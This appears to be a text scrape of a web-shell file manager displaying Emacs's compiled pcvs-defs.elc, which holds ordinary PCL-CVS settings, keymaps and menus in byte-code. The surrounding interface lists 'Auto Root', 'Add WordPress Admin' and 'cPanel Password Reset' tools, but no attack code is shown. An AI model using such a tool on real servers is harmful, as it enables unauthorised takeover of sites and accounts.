Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
emacs
27.2
lisp
vc
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: pcvs-defs.elc
;ELC ;;; Compiled ;;; in Emacs version 27.2 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (require 'pcvs-util) #@42 Name or full path of the cvs executable. (defvar cvs-program "cvs" (#$ . 429)) #@86 Version of `cvs' installed on your system. It must be in the (MAJOR . MINOR) format. (defvar cvs-version (byte-code "\3021/ \303\304!rq\210\305\216\306 \307\310\307\311%\210eb\210\312\313\307\310#\205, \314\315\316!!\314\315\317!!B+0\207\210\307\207" [#1=#:temp-buffer cvs-program (error) generate-new-buffer " *temp*" #[nil "\301!\205 \302!\207" [#1# buffer-name kill-buffer] 2] call-process nil t "-v" re-search-forward "(CVS\\(NT\\)?) \\([0-9]+\\)\\.\\([0-9]+\\)" string-to-number match-string 1 2] 6) (#$ . 514)) #@171 Name or full path of the best diff program you've got. NOTE: there are some nasty bugs in the context diff variants of some vendor versions, such as the one in SunOS-4. (defvar cvs-diff-program (byte-code "\301\300!\203\n \206 \302\207" [diff-command boundp "diff"] 2) (#$ . 1043)) (byte-code "\300\301\302\303\304\305\306\307\310\311& \210\312\313\314\315\306\301\316\317&\207" [custom-declare-group pcl-cvs nil "Special support for the CVS versioning system." :version "21.1" :group tools :prefix "cvs-" custom-declare-variable cvs-cvsrc-file (convert-standard-filename "~/.cvsrc") "Path to your cvsrc file." :type (file)] 10) #@192 Index of the first shared flag. If set to 4, for instance, a numeric argument smaller than 4 will select a non-shared flag, while a numeric argument greater than 3 will select a shared-flag. (defvar cvs-shared-start 4 (#$ . 1683)) #@64 List of flags whose settings is shared among several commands. (defvar cvs-shared-flags (make-list cvs-shared-start nil) (#$ . 1920)) #@330 Specifies where the (current) cvs master repository is. Overrides the environment variable $CVSROOT by sending " -d dir" to all CVS commands. This switch is useful if you have multiple CVS repositories. It can be set interactively with \[cvs-change-cvsroot.] There is no need to set this if $CVSROOT is set to a correct value. (defvar cvs-cvsroot nil (#$ . 2061)) (byte-code "\300\301\302\303\304\305\306\307&\210\300\310\311\312\304\305\306\313&\210\300\314\315\316\304\305\306\317&\210\300\320\315\321\304\305\306\322&\210\300\323\315\324\304\305\306\325&\210\300\326\302\327\304\305\306\330&\210\300\331\332\333\304\305\306\334&\210\300\335\315\336\304\305\306\337&\210\300\340\302\341\304\305\306\342&\210\300\343\302\344\304\305\306\345&\210\300\346\347\350\304\305\306\351&\207" [custom-declare-variable cvs-auto-remove-handled nil "If up-to-date files should be acknowledged automatically.\nIf t, they will be removed from the *cvs* buffer after every command.\nIf `delayed', they will be removed from the *cvs* buffer before every command.\nIf `status', they will only be removed after a `cvs-mode-status' command.\nElse, they will never be automatically removed from the *cvs* buffer." :group pcl-cvs :type (choice (const nil) (const status) (const delayed) (const t)) cvs-auto-remove-directories 'handled "If `all', directory entries will never be shown.\nIf `handled', only non-handled directories will be shown.\nIf `empty', only non-empty directories will be shown." (choice (const :tag "No" nil) (const all) (const handled) (const empty)) cvs-auto-revert t "Non-nil if changed files should automatically be reverted." (boolean) cvs-sort-ignore-file "Non-nil if `cvs-mode-ignore' should sort the .cvsignore automatically." (boolean) cvs-force-dir-tag "If non-nil, tagging can only be applied to directories.\nTagging should generally be applied a directory at a time, but sometimes it is\nuseful to be able to tag a single file. The normal way to do that is to use\n`cvs-mode-force-command' so as to temporarily override the restrictions." (boolean) cvs-default-ignore-marks "Non-nil if cvs mode commands should ignore any marked files.\nNormally they run on the files that are marked (with `cvs-mode-mark'),\nor the file under the cursor if no files are marked. If this variable\nis set to a non-nil value they will by default run on the file on the\ncurrent line. See also `cvs-invert-ignore-marks'." (boolean) cvs-invert-ignore-marks (let ((l nil)) (unless (equal cvs-default-ignore-marks t) (push "diff" l)) (when (and cvs-force-dir-tag (not cvs-default-ignore-marks)) (push "tag" l)) l) "List of cvs commands that invert the default ignore-mark behavior.\nCommands in this set will use the opposite default from the one set\nin `cvs-default-ignore-marks'." (set (const "diff") (const "tag") (const "ignore")) cvs-confirm-removals "Ask for confirmation before removing files.\nNon-nil means that PCL-CVS will ask confirmation before removing files\nexcept for files whose content can readily be recovered from the repository.\nA value of `list' means that the list of files to be deleted will be\ndisplayed when asking for confirmation." (choice (const list) (const t) (const nil)) cvs-add-default-message "Default message to use when adding files.\nIf set to nil, `cvs-mode-add' will always prompt for a message." (choice (const :tag "Prompt" nil) (string)) cvs-find-file-and-jump "Jump to the modified area when finding a file.\nIf non-nil, `cvs-mode-find-file' will place the cursor at the beginning of\nthe modified area. If the file is not locally modified, this will obviously\nhave no effect." (boolean) cvs-buffer-name-alist '(("diff" "*cvs-diff*" diff-mode) ("status" "*cvs-info*" cvs-status-mode) ("tree" "*cvs-info*" cvs-status-mode) ("message" "*cvs-commit*" nil log-edit) ("log" "*cvs-info*" log-view-mode)) "Buffer name and mode to be used for each command.\nThis is a list of elements of the form\n\n (CMD BUFNAME MODE &optional POSTPROC)\n\nCMD is the name of the command.\nBUFNAME is an expression that should evaluate to a string used as\n a buffer name. It can use the variable CMD if it wants to.\nMODE is the command to use to setup the buffer.\nPOSTPROC is a function that should be executed when the command terminates\n\nThe CMD used for `cvs-mode-commit' is \"message\". For that special\n case, POSTPROC is called just after MODE with special arguments." (repeat (list (choice (const "diff") (const "status") (const "tree") (const "message") (const "log") (string)) (choice (const "*vc-diff*") (const "*cvs-info*") (const "*cvs-commit*") (const (expand-file-name "*cvs-commit*")) (const (format "*cvs-%s*" cmd)) (const (expand-file-name (format "*cvs-%s*" cmd))) (sexp :value "my-cvs-info-buffer") (const nil)) (choice (function-item diff-mode) (function-item cvs-edit-mode) (function-item cvs-status-mode) function (const nil)) (set :inline t (choice (function-item cvs-status-cvstrees) (function-item cvs-status-trees) function))))] 8) #@135 Name of the cvs buffer. This expression will be evaluated in an environment where DIR is set to the directory name of the cvs buffer. (defvar cvs-buffer-name '(expand-file-name "*cvs*" dir) (#$ . 7070)) #@93 Name of the cvs temporary buffer. Output from cvs is placed here for asynchronous commands. (defvar cvs-temp-buffer-name " *cvs-tmp*" (#$ . 7279)) #@77 Pair of functions to be used for resp. diff'ing and merg'ing interactively. (custom-declare-variable 'cvs-idiff-imerge-handlers '(if (fboundp 'ediff) '(cvs-ediff-diff . cvs-ediff-merge) '(cvs-emerge-diff . cvs-emerge-merge)) '(#$ . 7432) :group 'pcl-cvs :type '(choice (const :tag "Ediff" (cvs-ediff-diff . cvs-ediff-merge)) (const :tag "Emerge" (cvs-emerge-diff . cvs-emerge-merge)))) #@33 Run after `cvs-mode' was setup. (defvar cvs-mode-hook nil (#$ . 7824)) #@294 When to reuse an existing cvs buffer. Alternatives are: `current': just reuse the current buffer if it is a cvs buffer `samedir': reuse any cvs buffer displaying the same directory `subdir': or reuse any cvs buffer displaying any sub- or super- directory `always': reuse any cvs buffer. (custom-declare-variable 'cvs-reuse-cvs-buffer ''subdir '(#$ . 7902) :group 'pcl-cvs :type '(choice (const always) (const subdir) (const samedir) (const current))) #@72 (Buffer local) The temporary buffer associated with this *cvs* buffer. (defvar cvs-temp-buffer nil (#$ . 8365)) #@137 Full path to a lock file that CVS is waiting for (or was waiting for). This variable is buffer local and only used in the *cvs* buffer. (defvar cvs-lock-file nil (#$ . 8484)) #@68 Regexp matching the possible names of locks in the CVS repository. (defvar cvs-lock-file-regexp "^#cvs\\.\\([trw]fl\\.[-.a-z0-9]+\\|lock\\)\\'" (#$ . 8665)) #@46 Column to position cursor in, in `cvs-mode'. (defconst cvs-cursor-column 22 (#$ . 8828)) #@49 The default branch used by CVS for vendor code. (defconst cvs-vendor-branch "1.1.1" (#$ . 8923)) #@51 Keymap for diff-related operations in `cvs-mode'. (defconst cvs-mode-diff-map (byte-code "\301\302\303\304\300!\205\n \305\306D$\207" [cvs-mode-diff-map easy-mmode-define-keymap (("E" "imerge" . cvs-mode-imerge) ("=" . cvs-mode-diff) ("e" "idiff" . cvs-mode-idiff) ("2" "other" . cvs-mode-idiff-other) ("d" "diff" . cvs-mode-diff) ("b" "backup" . cvs-mode-diff-backup) ("h" "head" . cvs-mode-diff-head) ("r" "repository" . cvs-mode-diff-repository) ("y" "yesterday" . cvs-mode-diff-yesterday) ("v" "vendor" . cvs-mode-diff-vendor)) nil boundp :name "Diff"] 6) (#$ . 9026)) (fset 'cvs-mode-diff-map cvs-mode-diff-map) #@24 Keymap for `cvs-mode'. (defconst cvs-mode-map (byte-code "\301\302\303\304\300!\205\n \305\306\307\306F$\207" [cvs-mode-map easy-mmode-define-keymap (("?" . cvs-help) ("h" . cvs-help) ("q" . cvs-bury-buffer) ("z" . kill-this-buffer) ("F" . cvs-mode-set-flags) ("!" . cvs-mode-force-command) ("" . cvs-mode-kill-process) ("m" . cvs-mode-mark) ("M" . cvs-mode-mark-all-files) ("S" . cvs-mode-mark-on-state) ("u" . cvs-mode-unmark) ("" . cvs-mode-unmark-up) ("%" . cvs-mode-mark-matching-files) ("T" . cvs-mode-toggle-marks) ("\377" . cvs-mode-unmark-all-files) (" " . cvs-mode-next-line) ("n" . cvs-mode-next-line) ("p" . cvs-mode-previous-line) (" " . cvs-mode-next-line) ([backtab] . cvs-mode-previous-line) ("\343" . cvs-checkout) ("\345" . cvs-examine) ("g" . cvs-mode-revert-buffer) ("\365" . cvs-update) ("\363" . cvs-status) ("=" . cvs-mode-diff) ("d" . cvs-mode-diff-map) ("" . cvs-mode-acknowledge) ("A" . cvs-mode-add-change-log-entry-other-window) ("C" . cvs-mode-commit-setup) ("O" . cvs-mode-update) ("U" . cvs-mode-undo) ("I" . cvs-mode-insert) ("a" . cvs-mode-add) ("b" . cvs-set-branch-prefix) ("B" . cvs-set-secondary-branch-prefix) ("c" . cvs-mode-commit) ("e" . cvs-mode-examine) ("f" . cvs-mode-find-file) (" " . cvs-mode-find-file) ("i" . cvs-mode-ignore) ("l" . cvs-mode-log) ("o" . cvs-mode-find-file-other-window) ("r" . cvs-mode-remove) ("s" . cvs-mode-status) ("t" . cvs-mode-tag) ("v" . cvs-mode-view-file) ("x" . cvs-mode-remove-handled) ("+" . cvs-mode-tree) ([mouse-2] . cvs-mode-find-file) ([follow-link] lambda (pos) (if (eq (get-char-property pos 'face) 'cvs-filename) t)) ([(down-mouse-3)] . cvs-menu) ("" . cvs-mode-display-file)) nil boundp :dense t :suppress] 8) (#$ . 9650)) (fset 'cvs-mode-map cvs-mode-map) #@26 Menu used in `cvs-mode'. (defvar cvs-menu nil (#$ . 11407)) (byte-code "\301\302\303\304$\210\305\306\307\310\311\312\313\314&\207" [cvs-mode-map easy-menu-do-define cvs-menu "Menu used in `cvs-mode'." ("CVS" ["Open file" cvs-mode-find-file t] ["Open in other window" cvs-mode-find-file-other-window t] ["Display in other window" cvs-mode-display-file t] ["Interactive merge" cvs-mode-imerge t] ("View diff" ["Interactive diff" cvs-mode-idiff t] ["Current diff" cvs-mode-diff t] ["Diff with head" cvs-mode-diff-head t] ["Diff with vendor" cvs-mode-diff-vendor t] ["Diff against yesterday" cvs-mode-diff-yesterday t] ["Diff with backup" cvs-mode-diff-backup t]) ["View log" cvs-mode-log t] ["View status" cvs-mode-status t] ["View tag tree" cvs-mode-tree t] "----" ["Insert" cvs-mode-insert] ["Update" cvs-mode-update (cvs-enabledp 'update)] ["Re-examine" cvs-mode-examine t] ["Commit" cvs-mode-commit-setup (cvs-enabledp 'commit)] ["Tag" cvs-mode-tag (cvs-enabledp (when cvs-force-dir-tag 'tag))] ["Undo changes" cvs-mode-undo (cvs-enabledp 'undo)] ["Add" cvs-mode-add (cvs-enabledp 'add)] ["Remove" cvs-mode-remove (cvs-enabledp 'remove)] ["Ignore" cvs-mode-ignore (cvs-enabledp 'ignore)] ["Add ChangeLog" cvs-mode-add-change-log-entry-other-window t] "----" ["Mark" cvs-mode-mark t] ["Mark all" cvs-mode-mark-all-files t] ["Mark by regexp..." cvs-mode-mark-matching-files t] ["Mark by state..." cvs-mode-mark-on-state t] ["Unmark" cvs-mode-unmark t] ["Unmark all" cvs-mode-unmark-all-files t] ["Hide handled" cvs-mode-remove-handled t] "----" ["PCL-CVS Manual" (lambda nil (interactive) (info "(pcl-cvs)Top")) t] "----" ["Quit" cvs-mode-quit t]) custom-declare-variable cvs-minor-mode-prefix "c" "Prefix key for the `cvs-mode' bindings in `cvs-minor-mode'." :type string :group pcl-cvs] 8) #@66 Keymap for `cvs-minor-mode', used in buffers related to PCL-CVS. (defconst cvs-minor-mode-map (byte-code "\302\303B\304B\305\306\301!\205 \305$\207" [cvs-minor-mode-prefix cvs-minor-mode-map easy-mmode-define-keymap cvs-mode-map (("e" menu-item nil cvs-mode-edit-log :filter (lambda (x) (if (derived-mode-p 'log-view-mode) x)))) nil boundp] 5) (#$ . 13208)) #@62 (Buffer local) The *cvs* buffer associated with this buffer. (defvar cvs-buffer nil (#$ . 13575)) (put 'cvs-buffer 'permanent-local t) #@194 Function to call when switching to the *cvs* buffer. Takes two arguments: - a *cvs* buffer. - a zero-arg function which is guaranteed not to switch buffer. It is expected to call the function. (defvar cvs-minor-wrap-function nil (#$ . 13717)) (defconst cvs-pcl-cvs-dirchange-re "^pcl-cvs: descending directory \\(.*\\)$") #@30 Global menu used by PCL-CVS. (defvar cvs-global-menu (byte-code "\301\302!\303\304\305\306\307!\310\311\306\312!\257#\210\303\313\305\306\314!\315\311\306\316!\257#\210\303\317\305\306\320!\321\311\306\322!\257#\210\303\323\305\306\324!\325\311\306\326!\257#\210\327M)\207" [m make-sparse-keymap "PCL-CVS" define-key [status] menu-item purecopy "Directory Status" cvs-status :help "A more verbose status of a workarea" [checkout] "Checkout Module" cvs-checkout "Check out a module from the repository" [update] "Update Directory" cvs-update "Fetch updates from the repository" [examine] "Examine Directory" cvs-examine "Examine the current state of a workarea" cvs-global-menu] 9) (#$ . 14045)) #@819 Whether cvs commands should be executed a directory at a time. If a list, specifies for which commands the single-dir mode should be used. If t, single-dir mode should be used for all operations. CVS versions before 1.10 did not allow passing them arguments in different directories, so PCL-CVS checks what version you're using to determine whether to use the new feature or not. Sadly, even with a new cvs executable, if you connect to an older cvs server (typically a cvs-1.9 on the server), the old restriction applies. In such a case the sanity check made by PCL-CVS fails and you will have to manually set this variable to t (until the cvs server is upgraded). When the above problem occurs, PCL-CVS should (hopefully) catch cvs' error message and replace it with a message telling you to change this variable. (defvar cvs-execute-single-dir (byte-code "\203 A\301Y\204 @\302V\203 \303\207\304\207" [cvs-version 10 1 ("status") t] 2) (#$ . 14757)) (provide 'pcvs-defs)